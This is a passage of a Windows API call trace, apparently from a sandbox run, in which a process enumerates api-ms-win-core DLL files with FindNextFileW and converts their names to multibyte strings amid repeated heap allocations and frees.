[0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.284] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x119c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.284] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x119c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.285] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x119c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.285] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x119c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.285] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x119c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0188.285] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.285] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.286] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x119c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.286] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x119c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.286] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x119c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.286] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.286] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0188.286] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x119c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.287] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x119c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.287] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x119c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.287] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x119c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.287] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.287] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x119c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.288] 